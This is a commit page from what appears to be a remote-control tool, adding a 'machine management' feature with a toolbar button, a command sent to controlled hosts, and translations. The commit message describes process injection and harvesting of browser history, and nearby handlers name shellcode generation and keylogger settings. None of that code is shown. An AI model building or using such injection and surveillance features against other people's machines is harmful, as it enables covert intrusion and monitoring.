Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar. Client: - Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts enumeration plus process injection via yapi.hpp). - Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated sub-connection in KernelManager. - Register MachineManager.cpp/.h and yapi.hpp in both client projects. Server: - Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon, plus en/zh_TW/de translations. Fix: - Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
c906a46bcc
commit
f72fda9b71
16 files changed
+3698
No files matched your search
Binary file not shown.
@@ -995,6 +995,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
||||
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
|
||||
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
@@ -1424,6 +1425,7 @@ VOID CMy2015RemoteDlg::CreateToolBar()
|
||||
m_ToolBar.SetButtonText(15, _T("MCP"));
|
||||
m_ToolBar.SetButtonText(16, _TR("连接管理"));
|
||||
m_ToolBar.SetButtonText(17, _TR("远程交谈"));
|
||||
m_ToolBar.SetButtonText(18, _TR("主机管理"));
|
||||
|
||||
// ============================================================
|
||||
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
||||
@@ -4504,6 +4506,12 @@ void CMy2015RemoteDlg::OnChat()
|
||||
BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天)
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
void CMy2015RemoteDlg::OnMachineManager()
|
||||
{
|
||||
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||
|
||||
@@ -517,6 +517,7 @@ public:
|
||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnChat();
|
||||
afx_msg void OnMachineManager();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
|
||||
@@ -409,6 +409,7 @@ Rar
|
||||
撤销授权=Autorisierung widerrufen
|
||||
注入记事本=Notepad injizieren
|
||||
机器管理=Maschinenverwaltung
|
||||
主机管理=Maschinenverwaltung
|
||||
注销=Abmelden
|
||||
关机=Herunterfahren
|
||||
重启=Neustart
|
||||
|
||||
@@ -410,6 +410,7 @@ Rar
|
||||
撤销授权=Revoke Auth
|
||||
注入记事本=Inject Notepad
|
||||
机器管理=Machine Mgmt
|
||||
主机管理=Host Mgmt
|
||||
注销=Log Off
|
||||
关机=Shutdown
|
||||
重启=Restart
|
||||
|
||||
@@ -410,6 +410,7 @@ Rar
|
||||
撤销授权=撤銷授權
|
||||
注入记事本=注入記事本
|
||||
机器管理=機器管理
|
||||
主机管理=主機管理
|
||||
注销=登出
|
||||
关机=關機
|
||||
重启=重新啟動
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 122 KiB After Width: | Height: | Size: 128 KiB |
Reference in new issue
Block a user